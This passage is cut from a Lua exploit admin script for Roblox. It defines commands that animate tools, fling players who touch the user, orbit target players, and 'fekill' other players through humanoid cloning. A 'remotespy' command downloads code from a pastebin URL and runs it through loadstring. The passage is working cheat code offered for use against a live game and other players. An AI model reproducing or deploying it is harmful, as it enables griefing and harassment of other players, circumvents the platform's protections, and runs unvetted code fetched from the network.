2067 | end) |
2068 | end |
2069 | end |
2070 | end) |
2071 | |
2072 | local function getAllTools() |
2073 | local tools = {} |
2074 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
2075 | if backpack then |
2076 | for i, v in pairs(backpack:GetChildren()) do |
2077 | if v:IsA("Tool") then |
2078 | table.insert(tools, v) |
2079 | end |
2080 | end |
2081 | end |
2082 | for i, v in pairs(character:GetChildren()) do |
2083 | if v:IsA("Tool") then |
2084 | table.insert(tools, v) |
2085 | end |
2086 | end |
2087 | return tools |
2088 | end |
2089 | |
2090 | cmd.add({"ununanchoredfollow"}, {"ununanchoredfollow", "un does the unanchorfollow thing lol"}, function(h, d) |
2091 | lib.disconnect("unanchoredfollow") |
2092 | end) |
2093 | |
2094 | cmd.add({"remotespy"}, {"remotespy", "executes remotespy"}, function() |
2095 | loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))() |
2096 | end) |
2097 | |
2098 | cmd.add({"circlemath", "cm"}, {"circlemath <mode> <size>", "Gay circle math\nModes: abc..."}, function(mode, size) |
2099 | local mode = mode or "a" |
2100 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
2101 | lib.disconnect("cm") |
2102 | if backpack and character.Parent then |
2103 | local tools = getAllTools() |
2104 | for i, tool in pairs(tools) do |
2105 | local cpos, g = (math.pi*2)*(i/#tools), CFrame.new() |
2106 | local tcon = {} |
2107 | tool.Parent = backpack |
2108 | |
2109 | if mode == "a" then |
2110 | size = tonumber(size) or 2 |
2111 | g = ( |
2112 | CFrame.new(0, 0, size)* |
2113 | CFrame.Angles(rad(90), 0, cpos) |
2114 | ) |
2115 | elseif mode == "b" then |
2116 | size = tonumber(size) or 2 |
2117 | g = ( |
2118 | CFrame.new(i - #tools/2, 0, 0)* |
2119 | CFrame.Angles(rad(90), 0, 0) |
2120 | ) |
2121 | elseif mode == "c" then |
2122 | size = tonumber(size) or 2 |
2123 | g = ( |
2124 | CFrame.new(cpos/3, 0, 0)* |
2125 | CFrame.Angles(rad(90), 0, cpos*2) |
2126 | ) |
2127 | elseif mode == "d" then |
2128 | size = tonumber(size) or 2 |
2129 | g = ( |
2130 | CFrame.new(clamp(tan(cpos), -3, 3), 0, 0)* |
2131 | CFrame.Angles(rad(90), 0, cpos) |
2132 | ) |
2133 | elseif mode == "e" then |
2134 | size = tonumber(size) or 2 |
2135 | g = ( |
2136 | CFrame.new(0, 0, clamp(tan(cpos), -5, 5))* |
2137 | CFrame.Angles(rad(90), 0, cpos) |
2138 | ) |
2139 | end |
2140 | tool.Grip = g |
2141 | tool.Parent = character |
2142 | |
2143 | tcon[#tcon] = lib.connect("cm", mouse.Button1Down:Connect(function() |
2144 | tool:Activate() |
2145 | end)) |
2146 | tcon[#tcon] = lib.connect("cm", tool.Changed:Connect(function(p) |
2147 | if p == "Grip" and tool.Grip ~= g then |
2148 | tool.Grip = g |
2149 | end |
2150 | end)) |
2151 | |
2152 | lib.connect("cm", tool.AncestryChanged:Connect(function() |
2153 | for i = 1, #tcon do |
2154 | tcon[i]:Disconnect() |
2155 | end |
2156 | end)) |
2157 | end |
2158 | end |
2159 | end) |
2160 | |
2161 | local r = math.rad |
2162 | local center = CFrame.new(1.5, 0.5, -1.5) |
2163 | |
2164 | cmd.add({"toolanimate"}, {"toolanimate <mode> <int>", "Make your tools epic\nModes: ufo/ring/shutter/saturn/portal/wtf/ball/tor"}, function(mode, int) |
2165 | lib.disconnect("tooldance") |
2166 | local int = tonumber(int) or 5 |
2167 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
2168 | local primary = character:FindFirstChild("HumanoidRootPart") |
2169 | if backpack and primary then |
2170 | local tools = getAllTools() |
2171 | for i, tool in pairs(tools) do |
2172 | if tool:IsA("Tool") and tool:FindFirstChild("Handle") then |
2173 | local circ = (i/#tools)*(math.pi*2) |
2174 | |
2175 | local function editGrip(tool, cframe, offset) |
2176 | local origin = CFrame.new(cframe.p):inverse() |
2177 | local x, y, z = cframe:toEulerAnglesXYZ() |
2178 | local new = CFrame.Angles(x, y, z) |
2179 | local grip = (origin * new):inverse() |
2180 | tool.Parent = backpack |
2181 | tool.Grip = offset * grip |
2182 | tool.Parent = character |
2183 | |
2184 | for i, v in pairs(tool:GetDescendants()) do |
2185 | if v:IsA("Sound") then |
2186 | v:Stop() |
2187 | end |
2188 | end |
2189 | end |
2190 | tool.Handle.Massless = true |
2191 | |
2192 | if mode == "ufo" then |
2193 | local s = {} |
2194 | local x, y = i, i + math.pi / 2 |
2195 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2196 | s.x = math.sin(x) |
2197 | s.y = math.sin(y) |
2198 | x, y = x + 0.1, y + 0.1 |
2199 | |
2200 | local cframe = |
2201 | center * |
2202 | CFrame.new() * |
2203 | CFrame.Angles(r(s.y*10), circ + r(s.y*8), r(s.x*10)) |
2204 | local offset = |
2205 | CFrame.new(int, 0, 0) * |
2206 | CFrame.Angles(0, 0, 0) |
2207 | editGrip(tool, cframe, offset) |
2208 | end)) |
2209 | elseif mode == "ring" then |
2210 | local s = {} |
2211 | local x, y = i, i + math.pi / 2 |
2212 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2213 | s.x = math.sin(x) |
2214 | s.y = math.sin(y) |
2215 | x, y = x + 0.04, y + 0.04 |
2216 | |
2217 | local cframe = |
2218 | center * |
2219 | CFrame.new(0, 3, 0) * |
2220 | CFrame.Angles(0, circ, x) |
2221 | local offset = |
2222 | CFrame.new(0, 0, int) * |
2223 | CFrame.Angles(0, 0, 0) |
2224 | editGrip(tool, cframe, offset) |
2225 | end)) |
2226 | elseif mode == "shutter" then |
2227 | local s = {} |
2228 | local x, y = 0, math.pi / 2 |
2229 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2230 | s.x = math.sin(x) |
2231 | s.y = math.sin(y) |
2232 | x, y = x + 0.1, y + 0.1 |
2233 | |
2234 | local cframe = |
2235 | center * |
2236 | CFrame.new(0, 0, 0) * |
2237 | CFrame.Angles(0, 0, circ + 0) |
2238 | local offset = |
2239 | CFrame.new(s.y*6, 0, int) * |
2240 | CFrame.Angles(r(-90), 0, 0) |
2241 | editGrip(tool, cframe, offset) |
2242 | end)) |
2243 | elseif mode == "saturn" then |
2244 | local s = {} |
2245 | local x, y = 0, math.pi / 2 |
2246 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2247 | s.x = math.sin(x) |
2248 | s.y = math.sin(y) |
2249 | x, y = x + 0.1, y + 0.1 |
2250 | local cframe = |
2251 | center * |
2252 | CFrame.new(0, 0, 0) * |
2253 | CFrame.Angles(0, circ, 0) |
2254 | local offset = |
2255 | CFrame.new(s.y*6, 0, int) * |
2256 | CFrame.Angles(0, 0, r(0)) |
2257 | editGrip(tool, cframe, offset) |
2258 | end)) |
2259 | elseif mode == "portal" then |
2260 | local s = {} |
2261 | local x, y = 0, math.pi / 2 |
2262 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2263 | s.x = math.sin(x) |
2264 | s.y = math.sin(y) |
2265 | x, y = x + 0.1, y + 0.1 |
2266 | |
2267 | local cframe = |
2268 | center * |
2269 | CFrame.new(0, 0, 0) * |
2270 | CFrame.Angles(0, 0, circ + r(x*45)) |
2271 | local offset = |
2272 | CFrame.new(3, 0, int) * |
2273 | CFrame.Angles(r(-90), 0, 0) |
2274 | editGrip(tool, cframe, offset) |
2275 | end)) |
2276 | elseif mode == "ball" then |
2277 | local s = {} |
2278 | local n = math.random()*#tools |
2279 | local x, y = n, n+math.pi / 2 |
2280 | local random = math.random() |
2281 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2282 | s.x = math.sin(x) |
2283 | s.y = math.sin(y) |
2284 | x, y = x + 0.1, y + 0.1 |
2285 | local cframe = |
2286 | center * |
2287 | CFrame.new(0, 0, 0) * |
2288 | CFrame.Angles(r(y*25), circ, r(y*25)) |
2289 | local offset = |
2290 | CFrame.new(0, int + random*2, 0) * |
2291 | CFrame.Angles(r(x*15), 0, 0) |
2292 | editGrip(tool, cframe, offset) |
2293 | end)) |
2294 | elseif mode == "wtf" then |
2295 | local s = {} |
2296 | local x, y = math.random()^3, math.random()^3+math.pi / 2 |
2297 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2298 | s.x = math.sin(x) |
2299 | s.y = math.sin(y) |
2300 | x, y = x + 0.1 + math.random()/10, y + 0.1 + math.random()/10 |
2301 | local cframe = |
2302 | center * |
2303 | CFrame.new(0, 0, 0) * |
2304 | CFrame.Angles(r(y*100)+math.random(), circ, r(y*100)+math.random()) |
2305 | local offset = |
2306 | CFrame.new(0, int + math.random()*4, 0) * |
2307 | CFrame.Angles(r(x*100), 0, 0) |
2308 | editGrip(tool, cframe, offset) |
2309 | end)) |
2310 | elseif mode == "tor" then |
2311 | local s = {} |
2312 | local x, y = i*1, i*1+math.pi / 2 |
2313 | local random = math.random() |
2314 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2315 | s.x = math.sin(x) |
2316 | s.y = math.sin(y) |
2317 | x, y = x + (int/75), y+0.1 |
2318 | local cframe = |
2319 | center * |
2320 | CFrame.new(1.5, 2, 0) * |
2321 | CFrame.Angles(r(-90-25), 0, 0) |
2322 | local offset = |
2323 | CFrame.new(0, s.x*3, -int+math.sin(y/5)*-int) * |
2324 | CFrame.Angles(r(int), s.x, -x) |
2325 | editGrip(tool, cframe, offset) |
2326 | end)) |
2327 | end |
2328 | else |
2329 | table.remove(tools, i) |
2330 | end |
2331 | end |
2332 | end |
2333 | end) |
2334 | |
2335 | cmd.add({"tooldance", "td"}, {"tooldance <mode> <size>", "Make your tools dance\nModes: tor/sph/inf/rng/whl/wht/voi"}, function(mode, size) |
2336 | local size = tonumber(size) or 5 |
2337 | lib.disconnect("tooldance") |
2338 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
2339 | local primary = character:FindFirstChild("HumanoidRootPart") |
2340 | if backpack and primary then |
2341 | local i, tools = 0, getAllTools() |
2342 | for _, tool in pairs(tools) do |
2343 | if tool:IsA("Tool") and tool:FindFirstChild("Handle") then |
2344 | i=i+1 |
2345 | tool.Parent = character |
2346 | local n = i |
2347 | local grip = character:FindFirstChild("RightGrip", true) |
2348 | local arm = grip.Parent |
2349 | |
2350 | local function editGrip(cf) |
2351 | tool.Parent = backpack |
2352 | tool.Grip = cf |
2353 | tool.Parent = character |
2354 | |
2355 | for i, v in pairs(tool:GetDescendants()) do |
2356 | if v:IsA("Sound") and v.Name:find("sheath") then |
2357 | v:Destroy() |
2358 | end |
2359 | end |
2360 | end |
2361 | tool.Handle.Massless = true |
2362 | |
2363 | if mode == "tor" then |
2364 | local x, y = n, n+math.pi/2 |
2365 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2366 | x,y = x+(size/75),y+0.1 |
2367 | local sx,sy = math.sin(x),math.sin(y) |
2368 | editGrip( |
2369 | CFrame.new( |
2370 | Vector3.new(0, math.sin(x * 0.5), size + 3 + math.sin(y / 5) * size) |
2371 | ) * |
2372 | CFrame.Angles( |
2373 | math.rad(size), |
2374 | math.sin(x), |
2375 | -x |
2376 | ) |
2377 | ) |
2378 | end)) |
2379 | elseif mode == "sph" then |
2380 | local x, y = n, n+math.pi/2 |
2381 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2382 | x,y = x+.1,y+.1 |
2383 | local sx,sy = math.sin(x),math.sin(y) |
2384 | editGrip( |
2385 | CFrame.new( |
2386 | Vector3.new(0, size, 0) |
2387 | ) * |
2388 | CFrame.Angles( |
2389 | math.deg(x/150), |
2390 | x + rad(90), |
2391 | 0 |
2392 | ) |
2393 | ) |
2394 | end)) |
2395 | elseif mode == "inf" then |
2396 | local x, y = n, n+math.pi/2 |
2397 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2398 | x,y = x+.1,y+.1 |
2399 | local sx,sy = math.sin(x),math.sin(y) |
2400 | editGrip( |
2401 | CFrame.new( |
2402 | Vector3.new(0, size, 0) |
2403 | ) * |
2404 | CFrame.Angles( |
2405 | x, |
2406 | x + rad(90), |
2407 | 0 |
2408 | ) |
2409 | ) |
2410 | end)) |
2411 | elseif mode == "wht" then |
2412 | local x, y = n, n+math.pi/2 |
2413 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2414 | x,y = x+.1,y+.1 |
2415 | local sx,sy = math.sin(x),math.sin(y) |
2416 | editGrip( |
2417 | CFrame.new( |
2418 | Vector3.new(0, size, 0) |
2419 | ) * |
2420 | CFrame.Angles( |
2421 | (y+math.sin(x)*10)/10, |
2422 | x + rad(90), |
2423 | 0 |
2424 | ) |
2425 | ) |
2426 | end)) |
2427 | elseif mode == "rng" then |
2428 | local x, y = n, n+math.pi/2 |
2429 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2430 | x,y = x+0.1,y+0.1 |
2431 | local sx,sy = math.sin(x),math.sin(y) |
2432 | editGrip( |
2433 | CFrame.new( |
2434 | 0, 0, size |
2435 | ) * |
2436 | CFrame.Angles( |
2437 | 0, |
2438 | x, |
2439 | 0 |
2440 | ) |
2441 | ) |
2442 | end)) |
2443 | elseif mode == "whl" then |
2444 | local x, y = n, n+math.pi/2 |
2445 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2446 | x,y = x+0.1,y+0.1 |
2447 | local sx,sy = math.sin(x),math.sin(y) |
2448 | editGrip( |
2449 | CFrame.new( |
2450 | Vector3.new(0, 0, size) |
2451 | ) * |
2452 | CFrame.Angles( |
2453 | x, |
2454 | 0, |
2455 | 0 |
2456 | ) |
2457 | ) |
2458 | end)) |
2459 | elseif mode == "voi" then |
2460 | local x, y = n, n+math.pi/2 |
2461 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2462 | x,y = x+0.1,y+0.1 |
2463 | local sx,sy = math.sin(x),math.sin(y) |
2464 | editGrip( |
2465 | CFrame.new( |
2466 | Vector3.new(size, 0, 0) |
2467 | ) * |
2468 | CFrame.Angles( |
2469 | 0, |
2470 | .6 + sy/3, |
2471 | (n) + sx + x |
2472 | ) |
2473 | ) |
2474 | end)) |
2475 | end |
2476 | end |
2477 | end |
2478 | end |
2479 | end) |
2480 | cmd.add({"nodance", "untooldance"}, {"nodance", "Stop making tools dance"}, function() |
2481 | lib.disconnect("tooldance") |
2482 | end) |
2483 | |
2484 | cmd.add({"toolvis", "audiovis"}, {"toolvis <size>", "Turn your tools into an audio visualizer"}, function(size) |
2485 | lib.disconnect("tooldance") |
2486 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
2487 | local primary = character:FindFirstChild("HumanoidRootPart") |
2488 | local hum = character:FindFirstChild("Humanoid") |
2489 | local sound |
2490 | for i, v in pairs(character:GetDescendants()) do |
2491 | if v:IsA("Sound") and v.Playing then |
2492 | sound = v |
2493 | end |
2494 | end |
2495 | if backpack and primary and sound then |
2496 | local tools = getAllTools() |
2497 | local t = 0 |
2498 | for i, tool in pairs(tools) do |
2499 | if tool.Parent == character and tool:IsA("BackpackItem") and tool:FindFirstChildWhichIsA("BasePart") and tool.Parent == character then |
2500 | local grip = character:FindFirstChild("RightGrip", true) |
2501 | local oldParent = grip.Parent |
2502 | lib.connect("tooldance", RunService.RenderStepped:Connect(function() |
2503 | if not sound then lib.disconnect("tooldance") end |
2504 | tool.Parent = character |
2505 | grip.Parent = oldParent |
2506 | end)) |
2507 | end |
2508 | end |
2509 | wait() |
2510 | for i, tool in pairs(tools) do |
2511 | if tool.Parent == backpack and tool:IsA("BackpackItem") and tool:FindFirstChildWhichIsA("BasePart") then |
2512 | t = t + 1 |
2513 | tool.Parent = character |
2514 | local n = i |
2515 | local grip = character:FindFirstChild("RightGrip", true) |
2516 | local arm = grip.Parent |
2517 | |
2518 | local function editGrip(cf) |
2519 | tool.Parent = backpack |
2520 | tool.Grip = tool.Grip:lerp(cf, 0.2) |
2521 | tool.Parent = character |
2522 | for i, v in pairs(tool:GetDescendants()) do |
2523 | if v:IsA("Sound") then |
2524 | v.Parent = nil |
2525 | end |
2526 | end |
2527 | end |
2528 | tool.Handle.Massless = true |
2529 | |
2530 | local x,y,z,a = n,n+math.pi/2,n,0 |
2531 | lib.connect("tooldance", RunService.Heartbeat:Connect(function() |
2532 | if not sound then lib.disconnect("tooldance") end |
2533 | |
2534 | local mt, loudness = sound.PlaybackLoudness/100, sound.PlaybackLoudness |
2535 | local sx, sy, sz, sa = math.sin(x), math.sin(y), math.sin(z), math.sin(a) |
2536 | x,y,z,a = x + 0.22 + mt / 100, y + sx + mt, z + sx/10, a + mt/100 + math.sin(x-n)/100 |
2537 | editGrip( |
2538 | CFrame.new( |
2539 | Vector3.new( |
2540 | 0, |
2541 | 2 + ((sx/2) * (mt^3/15))/3 - ((sx+0.5)/1.5 * ((loudness/10)^2/400)), |
2542 | tonumber(size) or 7 |
2543 | ) |
2544 | ) * |
2545 | CFrame.Angles( |
2546 | math.rad((sz+1)/2)*5, |
2547 | ((math.pi*2)*(n/t)) - (a), |
2548 | math.rad(sx)*5 |
2549 | ) |
2550 | ) |
2551 | end)) |
2552 | end |
2553 | end |
2554 | end |
2555 | end) |
2556 | |
2557 | cmd.add({"toolspin"}, {"toolspin [height] [amount]", "Make your tools spin on your head"}, function(h, amt) |
2558 | if not amt then amt = 1000 end |
2559 | local head = character:FindFirstChild("Head") |
2560 | if not head then return end |
2561 | for i, tool in pairs(localPlayer.Backpack:GetChildren()) do |
2562 | if tool:IsA("Tool") and tool:FindFirstChild("Handle") then |
2563 | if i >= (tonumber(amt) or 1000) then break end |
2564 | if tool:FindFirstChildWhichIsA("LocalScript") then |
2565 | tool:FindFirstChildWhichIsA("LocalScript").Disabled = true |
2566 | end |
2567 | tool.Parent = character |
2568 | end |
2569 | end |
2570 | wait(0.5) |
2571 | for _, tool in pairs(character:GetChildren()) do |
2572 | if tool:IsA("Tool") then |
2573 | wrap(function() |
2574 | tool:WaitForChild("Handle") |
2575 | for i, part in pairs(tool:GetDescendants()) do |
2576 | if part:IsA("BasePart") then |
2577 | part:BreakJoints() |
2578 | |
2579 | local align = Instance.new("AlignPosition") |
2580 | local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") |
2581 | align.Attachment0, align.Attachment1 = a0, a1 |
2582 | align.RigidityEnabled = true |
2583 | a1.Position = Vector3.new(0, tonumber(h) or 0, 0) |
2584 | lock(align, part); lock(a0, part); lock(a1, head); |
2585 | |
2586 | local angular = Instance.new("BodyAngularVelocity") |
2587 | angular.AngularVelocity = Vector3.new(0, math.random(100, 160)/16, 0) |
2588 | angular.MaxTorque = Vector3.new(0, 400000, 0) |
2589 | lock(angular, part); |
2590 | |
2591 | spawn(function() |
2592 | repeat wait() until tool.Parent ~= character |
2593 | angular:Destroy() |
2594 | align:Destroy() |
2595 | end) |
2596 | end |
2597 | end |
2598 | end) |
2599 | end |
2600 | end |
2601 | end) |
2602 | |
2603 | cmd.add({"toolorbit"}, {"toolorbit [height] [distance] [amount]", "Make your tools orbit around your head"}, function(h, d, amt) |
2604 | if not amt then amt = 1000 end |
2605 | local head = character:FindFirstChild("Head") |
2606 | if not head then return end |
2607 | for i, tool in pairs(localPlayer.Backpack:GetChildren()) do |
2608 | if tool:IsA("Tool") and tool:FindFirstChild("Handle") then |
2609 | if i >= (tonumber(amt) or 1000) then break end |
2610 | if tool:FindFirstChildWhichIsA("LocalScript") then |
2611 | tool:FindFirstChildWhichIsA("LocalScript").Disabled = true |
2612 | end |
2613 | tool.Parent = character |
2614 | end |
2615 | end |
2616 | wait(0.5) |
2617 | for _, tool in pairs(character:GetChildren()) do |
2618 | if tool:IsA("Tool") then |
2619 | wrap(function() |
2620 | tool:WaitForChild("Handle") |
2621 | for i, part in pairs(tool:GetDescendants()) do |
2622 | if part:IsA("BasePart") then |
2623 | part:BreakJoints() |
2624 | |
2625 | local align = Instance.new("AlignPosition") |
2626 | local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") |
2627 | align.Attachment0, align.Attachment1 = a0, a1 |
2628 | align.RigidityEnabled = true |
2629 | lock(align, part); lock(a0, part); lock(a1, head); |
2630 | wrap(function() |
2631 | local rotX, rotY = 0, math.pi/2 |
2632 | local speed = math.random(25, 100)/1000 |
2633 | local n = tonumber(d) or math.random(300, 700)/100 |
2634 | local y = tonumber(h) or math.random(-100, 100)/100/2 |
2635 | rotY, rotX = rotY + n, rotX + n |
2636 | |
2637 | part.CollisionGroupId = math.random(1000000,9999999) |
2638 | part.Anchored = false |
2639 | part.CFrame = head.CFrame * CFrame.new(0, 3, 0) |
2640 | |
2641 | while part and part.Parent and tool.Parent == character do |
2642 | rotX, rotY = rotX + speed, rotY + speed |
2643 | a1.Position = Vector3.new(math.sin(rotX) * n, y, math.sin(rotY) * n) |
2644 | RunService.RenderStepped:Wait(0) |
2645 | end |
2646 | end) |
2647 | end |
2648 | end |
2649 | end) |
2650 | end |
2651 | end |
2652 | end) |
2653 | |
2654 | cmd.add({"blockhats"}, {"blockhats", "Remove the meshes in your hats"}, function() |
2655 | for _, hat in pairs(character:GetChildren()) do |
2656 | if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then |
2657 | local handle = hat.Handle |
2658 | if handle:FindFirstChildWhichIsA("SpecialMesh") then |
2659 | handle:FindFirstChildWhichIsA("SpecialMesh"):Destroy() |
2660 | end |
2661 | end |
2662 | end |
2663 | end) |
2664 | |
2665 | cmd.add({"blocktools"}, {"blocktools", "Remove the meshes in your tools"}, function() |
2666 | for _, tool in pairs(character:GetChildren()) do |
2667 | if tool:IsA("Tool") then |
2668 | for _, mesh in pairs(tool:GetDescendants()) do |
2669 | if mesh:IsA("DataModelMesh") then |
2670 | mesh:Destroy() |
2671 | end |
2672 | end |
2673 | end |
2674 | end |
2675 | end) |
2676 | |
2677 | cmd.add({"nomeshes", "nomesh", "blocks"}, {"nomeshes", "Remove all character meshes"}, function() |
2678 | for _, mesh in pairs(character:GetDescendants()) do |
2679 | if mesh:IsA("DataModelMesh") then |
2680 | mesh:Destroy() |
2681 | end |
2682 | end |
2683 | end) |
2684 | |
2685 | cmd.add({"nodecals", "nodecal", "notextures"}, {"nodecals", "Remove all character images"}, function() |
2686 | for _, img in pairs(character:GetDescendants()) do |
2687 | if img:IsA("Decal") or img:IsA("Texture") then |
2688 | img:Destroy() |
2689 | end |
2690 | end |
2691 | end) |
2692 | |
2693 | cmd.add({"godmode"}, {"godmode", "Fling anyone that touches you using angular velocity"}, function() |
2694 | lib.disconnect("pfling") |
2695 | local char = player.Character |
2696 | local hum = char:FindFirstChildWhichIsA("Humanoid") |
2697 | |
2698 | if char then |
2699 | local cf = char.HumanoidRootPart.CFrame |
2700 | local bv = Instance.new("BodyAngularVelocity", char.HumanoidRootPart) |
2701 | bv.MaxTorque = Vector3.new(math.huge, math.huge, math.huge) |
2702 | bv.P = math.huge |
2703 | bv.AngularVelocity = Vector3.new(0, 9e5, 0) |
2704 | bv.Name = "hum" |
2705 | lock(bv) |
2706 | |
2707 | wait() |
2708 | char.HumanoidRootPart.CFrame = cf |
2709 | char.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0) |
2710 | |
2711 | for i,v in pairs(char:GetDescendants()) do |
2712 | if v:IsA('BasePart') then |
2713 | v.Massless = true |
2714 | v.Velocity = Vector3.new(0, 0, 0) |
2715 | end |
2716 | end |
2717 | |
2718 | local c = lib.connect("pfling", game:GetService('RunService').Stepped:Connect(function() |
2719 | for i,v in pairs(char:GetDescendants()) do |
2720 | if v:IsA('BasePart') then |
2721 | v.CanCollide = false |
2722 | end |
2723 | end |
2724 | end)) |
2725 | repeat |
2726 | wait() |
2727 | until |
2728 | character ~= char or not c.Connected |
2729 | |
2730 | lib.disconnect("pfling") |
2731 | if lp.Character == char then |
2732 | char:SetPrimaryPartCFrame(cf) |
2733 | bv:Destroy() |
2734 | char.HumanoidRootPart.Velocity = Vector3.new(0,0,0) |
2735 | char.HumanoidRootPart.RotVelocity = Vector3.new(0,0,0) |
2736 | end |
2737 | end |
2738 | end) |
2739 | |
2740 | cmd.add({"toolfling"}, {"toolfling", "Fling anyone that touches you using an accessory"}, function() |
2741 | lib.disconnect("pfling") |
2742 | local char = player.Character |
2743 | local hrp = char:FindFirstChild("HumanoidRootPart") |
2744 | local hum = char:FindFirstChildWhichIsA("Humanoid") |
2745 | local tors = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") |
2746 | if char then |
2747 | local c = lib.connect("pfling", RunService.Stepped:Connect(function() |
2748 | for i, v in pairs(char:GetDescendants()) do |
2749 | if v:IsA("BasePart") then |
2750 | v.CanCollide = false |
2751 | end |
2752 | end |
2753 | end)) |
2754 | tors.Anchored = true |
2755 | local tool = Instance.new("Tool", localPlayer.Backpack) |
2756 | local hat = char:FindFirstChildOfClass("Accessory") |
2757 | local hathandle = hat.Handle |
2758 | |
2759 | hathandle.Parent = tool |
2760 | hathandle.Massless = true |
2761 | tool.GripPos = Vector3.new(0, 9e99, 0) |
2762 | tool.Parent = localPlayer.Character |
2763 | |
2764 | repeat wait() until char:FindFirstChildOfClass("Tool") ~= nil |
2765 | tool.Grip = CFrame.new(Vector3.new(0, 0, 0)) |
2766 | tors.Anchored = false |
2767 | |
2768 | repeat |
2769 | hrp.CFrame = hrp.CFrame |
2770 | wait() |
2771 | until not c.Connected |
2772 | |
2773 | hum:UnequipTools() |
2774 | hathandle.Parent = hat |
2775 | hathandle.Massless = false |
2776 | tool:Destroy() |
2777 | end |
2778 | end) |
2779 | |
2780 | cmd.add({"ungodmode", "untoolfling", "ungod"}, {"ungodmode", "Disable permanent fling"}, function() |
2781 | lib.disconnect("pfling") |
2782 | end) |
2783 | |
2784 | |
2785 | cmd.add({"orbit"}, {"orbit <player> <distance>", "Orbit around a player"}, function(p,d) |
2786 | lib.disconnect("orbit") |
2787 | local players = argument.getPlayers(p) |
2788 | local target = players[1] |
2789 | if not target then return end |
2790 | |
2791 | local tchar, char = target.Character, character |
2792 | local thrp = tchar:FindFirstChild("HumanoidRootPart") |
2793 | local hrp = char:FindFirstChild("HumanoidRootPart") |
2794 | local dist = tonumber(d) or 4 |
2795 | |
2796 | if tchar and char and thrp and hrp then |
2797 | local sineX, sineZ = 0, math.pi/2 |
2798 | lib.connect("orbit", RunService.Stepped:Connect(function() |
2799 | sineX, sineZ = sineX + 0.05, sineZ + 0.05 |
2800 | local sinX, sinZ = math.sin(sineX), math.sin(sineZ) |
2801 | if thrp.Parent and hrp.Parent then |
2802 | hrp.Velocity = Vector3.new(0, 0, 0) |
2803 | hrp.CFrame = CFrame.new(sinX * dist, 0, sinZ * dist) * |
2804 | (hrp.CFrame - hrp.CFrame.p) + |
2805 | thrp.CFrame.p |
2806 | end |
2807 | end)) |
2808 | end |
2809 | end) |
2810 | |
2811 | cmd.add({"uporbit"}, {"uporbit <player> <distance>", "Orbit around a player on the Y axis"}, function(p,d) |
2812 | lib.disconnect("orbit") |
2813 | local players = argument.getPlayers(p) |
2814 | local target = players[1] |
2815 | if not target then return end |
2816 | |
2817 | local tchar, char = target.Character, character |
2818 | local thrp = tchar:FindFirstChild("HumanoidRootPart") |
2819 | local hrp = char:FindFirstChild("HumanoidRootPart") |
2820 | local dist = tonumber(d) or 4 |
2821 | |
2822 | if tchar and char and thrp and hrp then |
2823 | local sineX, sineY = 0, math.pi/2 |
2824 | lib.connect("orbit", RunService.Stepped:Connect(function() |
2825 | sineX, sineY = sineX + 0.05, sineY + 0.05 |
2826 | local sinX, sinY = math.sin(sineX), math.sin(sineY) |
2827 | if thrp.Parent and hrp.Parent then |
2828 | hrp.Velocity = Vector3.new(0, 0, 0) |
2829 | hrp.CFrame = CFrame.new(sinX * dist, sinY * dist, 0) * |
2830 | (hrp.CFrame - hrp.CFrame.p) + |
2831 | thrp.CFrame.p |
2832 | end |
2833 | end)) |
2834 | end |
2835 | end) |
2836 | |
2837 | cmd.add({"unorbit"}, {"unorbit", "Stop orbiting a player"}, function() |
2838 | lib.disconnect("orbit") |
2839 | end) |
2840 | |
2841 | cmd.add({"fixcam", "fix"}, {"fixcam", "Fix your camera"}, function() |
2842 | camera.CameraSubject = character:FindFirstChildWhichIsA("Humanoid") |
2843 | camera.CameraType = camtype |
2844 | end) |
2845 | |
2846 | cmd.add({"fekill", "kill"}, {"fekill <player>", "Kill a player using a tool and FE god"}, function(p) |
2847 | local target = argument.getPlayers(p)[1] |
2848 | if not target then return end |
2849 | |
2850 | local char = character |
2851 | local tchar = target.Character |
2852 | local hrp = character:FindFirstChild("HumanoidRootPart") |
2853 | local hrp2 = tchar:FindFirstChild("HumanoidRootPart") |
2854 | local backpack = localPlayer:FindFirstChildWhichIsA("Backpack") |
2855 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
2856 | |
2857 | if hrp and hrp2 and backpack and hum then |
2858 | hum.Name = "1" |
2859 | local newHum = hum:Clone() |
2860 | newHum.Parent = char |
2861 | newHum.Name = "Humanoid" |
2862 | |
2863 | wait(0.1) |
2864 | hum:Destroy() |
2865 | camera.CameraSubject = char |
2866 | newHum.DisplayDistanceType = "None" |
2867 | wait(0.1) |
2868 | |
2869 | for i, v in pairs(localPlayer.Backpack:GetChildren()) do |
2870 | v.Parent = char |
2871 | hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200) |
2872 | RunService.Stepped:Wait(0) |
2873 | end |
2874 | |
2875 | local n = 0 |
2876 | repeat |
2877 | RunService.RenderStepped:Wait(0) |
2878 | n = n + 1 |
2879 | hrp.CFrame = hrp2.CFrame |
